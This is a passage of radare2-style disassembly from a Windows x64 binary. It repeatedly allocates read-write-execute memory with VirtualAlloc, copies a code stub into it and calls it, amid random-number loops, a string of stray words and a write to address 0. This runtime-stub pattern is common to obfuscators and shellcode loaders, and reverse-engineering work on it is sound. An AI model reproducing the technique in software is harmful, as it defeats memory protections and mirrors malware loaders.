movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6d450], rcx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x580]
mov rcx, qword [rdi]
call r8
movaps xmm9, xmm0
lea rcx, [rbp + 0x2820]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2838]
call fcn.140004660
mov rdx, rbx
lea rcx, [rbp + 0x2838]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
lea rbx, [0x140021750]
test rax, rax
je 0x14001a3a9
nop dword [rax]
cmp rax, rbx
je 0x14001a396
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001a380
jmp 0x14001a3a9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001a48f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a3d2
mov r8, r12
jmp 0x14001a46e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a3e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b30]
mov rcx, qword [rsi]
call r8
movaps xmm8, xmm0
lea rcx, [rbp + 0x2838]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2850]
call fcn.140004660
lea rsi, [rbp + 0x15798]
mov rdx, rsi
lea rcx, [rbp + 0x2850]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001a50c
cmp rax, rbx
je 0x14001a4f9
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14001a4e3
jmp 0x14001a50c
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001a5ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a535
mov r8, r12
jmp 0x14001a5ce
mov rax, rbx
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a540
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], rbx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b38]
mov rcx, qword [r14]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2850]
call fcn.140009fa0
mulsd xmm6, xmm8
addsd xmm6, xmm9
subsd xmm6, xmm10
lea rcx, [rbp + 0x2868]
call fcn.140009fa0
addsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
lea rdx, [0x140009f50]
lea rcx, [rbp + 0xb90]
call fcn.140021e00
mov rbx, rax
mov dword [rbp + 0xb8], 3
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
movsd qword [rbp + 0x588], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2880]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2880]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea r14, [0x140021830]
test rax, rax
je 0x14001a6cd
cmp rax, r14
je 0x14001a6ba
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14001a6a4
jmp 0x14001a6cd
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14001a7b0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14001a6f6
mov r9, r12
jmp 0x14001a78f
mov rax, r14
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a701
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], r14
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x588]
mov rcx, qword [rbx]
call r9
movaps xmm6, xmm0
lea rcx, [rbp + 0x2880]
call fcn.140009fa0
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm6
movsd qword [rsp + 0x68], xmm1
lea rdx, [0x140009f60]
lea rcx, [rbp + 0xb98]
call fcn.140021df0
mov rbx, rax
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
movsd qword [rbp + 0x590], xmm0
mov edx, 0x18
lea rcx, [rbp + 0x2898]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2898]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x14006a840]
lea r14, [0x140021750]
test rcx, rcx
je 0x14001a879
nop dword [rax + rax]
cmp rcx, r14
je 0x14001a866
inc edx
mov rcx, qword [r13 + rdx*8 + 0x6a840]
test rcx, rcx
jne 0x14001a850
jmp 0x14001a879
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001a95f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001a8a2
mov r8, r12
jmp 0x14001a93e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001a8b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], r14
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x590]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x2898]
call fcn.140009fa0
mulsd xmm6, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm6
mov eax, dword [rsp + 0x60]
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
test al, 1
jne 0x14001a9ae
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001a9bd
call fcn.140007450
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1582], 0
mov edi, 5
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm1
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x10670]
test bl, 1
jne 0x14001aa45
lea rcx, [rbp + 0x15a8]
call fcn.140007450
mov ecx, dword [rsp + 0x60]
imul eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x14001aa65
movsd xmm6, qword [rsp + 0x68]
lea rcx, [rbp + 0x19c8]
call fcn.140021f10
addsd xmm0, xmm7
divsd xmm6, xmm0
movsd qword [rsp + 0x68], xmm6
inc ebx
cmp ebx, 5
jl 0x14001a9e0
sub rdi, 1
jne 0x14001a9d0
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
mov ebx, eax
lea rdx, [rbp + 0x10670]
lea rcx, [rbp + 0x15a8]
call fcn.140007450
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1582]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1800]
call fcn.1400047a0
sub r15, 1
jne 0x140019b30
lea rcx, [rbp + 0x6e8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1b40]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
jne 0x140019b23
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2d40]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x18a8]
call fcn.140021e60
nop
lea rcx, [rbp + 0x24d0]
call fcn.140021520
nop
lea rcx, [rbp + 0x28b0]
call fcn.140009fa0
mov byte [0], 0
lea rcx, [rbp + 0x15d5]
call fcn.140001fd0
mov edx, eax
lea rcx, [rbp + 0x11a00]
call fcn.1400048e0
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x15b8]
call fcn.1400048d0
movaps xmm2, xmm13
movaps xmm1, xmm14
lea rcx, [rbp + 0x19a8]
call fcn.140021f00
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
mov edx, 0x18
lea rcx, [rbp + 0x18c0]
call fcn.140004660
lea rcx, [rbp + 0x18c0]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x5b8]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x278]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x278]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5b8]
call fcn.1400086c0
lea rcx, [rbp + 0x5c0]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x280]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5c0]
call fcn.1400086c0
lea rcx, [rbp + 0x5c8]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x288]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x288]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x5c8]
call fcn.1400086c0
lea rcx, [rbp + 0x600]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x2c0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x600]
call fcn.1400086c0
lea rcx, [rbp + 0x610]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x2c8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x610]
call fcn.1400086c0
lea rcx, [rbp + 0x630]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x18c0]
call fcn.140021e30
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x630]
call fcn.1400086c0
lea rcx, [rbp + 0x2488]
call fcn.140009fc0
mov dword [rbp + 0xbc], 0x64
lea rdx, [rbp + 0xbc]
lea rcx, [rbp + 0xba0]
call fcn.1400220f0
mov r8, rax
lea rdx, [rbp + 0x2488]
lea rcx, [rbp + 0x1a08]
call fcn.140022100
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2d60]
call fcn.140005020
nop
lea rcx, [rbp + 0x5e8]
call fcn.140009fc0
mov rcx, rax
lea rdx, [rbp + 0x1a08]
call fcn.140021890
xor edx, edx
movzx ecx, al
call fcn.140009f40
test al, al
je 0x14001bdd0
lea rsi, [rbp + 0x15798]
mov r15d, 0x2710
nop word [rax + rax]
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
movsxd rbx, eax
lea rcx, [rbp + 0x18c0]
call fcn.140021e20
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
movsxd rdx, edx
lea rcx, [rbp + 0x18c0]
call fcn.140021400
mov rcx, rax
call fcn.140021e10
mov rdi, rax
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x15b8]
call fcn.140007450
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
mov edx, 0x18
lea rcx, [rbp + 0x28c8]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x28c8]
call fcn.140009f70
nop
xor edx, edx
mov r8d, 0x19
lea rcx, [rbp + 0x2480]
call fcn.1400048d0
lea rcx, [rbp + 0x2d60]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2d60]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001aeff
nop dword [rax]
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x2480]
call fcn.140007450
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14001aee0
lea rcx, [rbp + 0x28c8]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x1818]
call fcn.140004660
lea rcx, [rbp - 0x76]
call fcn.1400048c0
mov r8, rax
mov edx, 0x64
lea rcx, [rbp + 0x1818]
call fcn.140004800
nop
lea r8, [rbp + 0x11a00]
lea rdx, [rbp + 0x15b8]
lea rcx, [rbp + 0x1210]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x1818]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x1818]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xbb8]
lea rcx, [rbp + 0x1818]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x1818]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, 0x18
lea rcx, [rbp + 0x28e0]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x28e0]
call fcn.140009f70
nop
mov edx, 0xffffff9c
mov r8d, 0x64
lea rcx, [rbp + 0x2478]
call fcn.1400048d0
lea r8, [rbp + 0x11a00]
lea rdx, [rbp + 0x2478]
lea rcx, [rbp + 0x1200]
call fcn.14000a310
movups xmm6, xmmword [rax]
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1818]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xbd0]
lea rcx, [rbp + 0x1818]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0x1818]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xbe0]
call fcn.140021780
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0x1818]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x1818]
call fcn.140021420
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021810
nop
lea rcx, [rbp + 0x28e0]
call fcn.140009fa0
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x11a00]
lea rcx, [rbp + 0x19a8]
call fcn.140021f10
movsd qword [rbp + 0x1b50], xmm0
movsd qword [rbp + 0x1b48], xmm6
mov edx, 0x18
lea rcx, [rbp + 0x2970]
call fcn.140004660
mov rdx, rsi
lea rcx, [rbp + 0x2970]
call fcn.140009f70
nop
lea rdx, [0x14002dcf0]
lea rcx, [rbp + 0xbf8]
call fcn.1400213f0
mov r14, rax
lea rdx, [0x14002e260]
lea rcx, [rbp + 0xc00]
call fcn.1400213f0
mov rsi, rax
lea rdx, [0x14002e7e0]
lea rcx, [rbp + 0xc08]
call fcn.1400213f0
mov rdi, rax
lea rdx, [0x140009f30]
lea rcx, [rbp + 0xc10]
call fcn.140021430
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x28f8]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x28f8]
call fcn.140009f70
nop
mov ecx, r12d
mov rdx, qword [0x14006a520]
test rdx, rdx
je 0x14001b1f0
nop word [rax + rax]
lea rax, [0x140021750]
cmp rdx, rax
je 0x14001b1dd
inc ecx
mov rdx, qword [r13 + rcx*8 + 0x6a520]
test rdx, rdx
jne 0x14001b1c0
jmp 0x14001b1f0
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14001b2e6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001b219
mov r8, r12
jmp 0x14001b2be
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b230
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x6a520], rcx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b50]
mov rcx, qword [rbx]
call r8
movaps xmm6, xmm0
lea rcx, [rbp + 0x28f8]
call fcn.140009fa0
addsd xmm6, xmm7
movsd qword [rbp + 0x638], xmm6
lea rdx, [0x14002ed10]
lea rcx, [rbp + 0xc18]
call fcn.1400213f0
mov rbx, rax
mov edx, 0x18
lea rcx, [rbp + 0x2910]
call fcn.140004660
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x2910]
call fcn.140009f70
nop
mov edx, r12d
mov rcx, qword [0x140067c30]
test rcx, rcx
je 0x14001b390
nop dword [rax + rax]
lea rax, [0x140021750]
cmp rcx, rax
je 0x14001b37d
inc edx
mov rcx, qword [r13 + rdx*8 + 0x67c30]
test rcx, rcx
jne 0x14001b360
jmp 0x14001b390
mov eax, edx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001b486
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001b3b9
mov r8, r12
jmp 0x14001b45e
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001b3d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
lea rcx, [0x140021750]
mov qword [r13 + rax*8 + 0x67c30], rcx
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1b48]
mov rcx, qword [rbx]
call r8
movaps xmm10, xmm0
lea rcx, [rbp + 0x2910]
call fcn.140009fa0
mov edx, 0x18
lea rcx, [rbp + 0x2928]
call fcn.140004660
lea rbx, [rbp + 0x15798]
mov rdx, rbx
lea rcx, [rbp + 0x2928]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
test rax, rax
je 0x14001b50a
lea rdx, [0x140021750]
cmp rax, rdx
je 0x14001b4f7
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14001b4e1
jmp 0x14001b50a
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14001b5f8
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001b533
mov r8, r12
jmp 0x14001b5d0
lea rax, [0x140021750]
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
